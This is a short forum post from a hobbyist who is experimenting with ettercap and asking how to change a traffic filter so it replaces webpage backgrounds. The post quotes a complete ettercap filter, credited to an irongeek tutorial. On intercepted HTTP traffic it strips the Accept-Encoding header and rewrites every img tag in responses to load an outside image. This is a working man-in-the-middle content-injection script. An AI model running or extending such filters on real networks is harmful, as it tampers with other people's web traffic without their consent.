hi. not sure wher to post this. but.
im playing whith ettercap. and trying to replace stuff on webpages and so on.
filter look like this:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src="http://www.irongeek.com/images/jollypwn.png" ");
replace("IMG SRC=", "img src="http://www.irongeek.com/images/jollypwn.png" ");
msg("Filter Ran.n");
}
code from "http://www.irongeek.com/i.php?page=security/ettercapfilter"
but, im trying to mode it to replace the background. if its some one that wil take the time to help me, then thx.
sry for very bad English..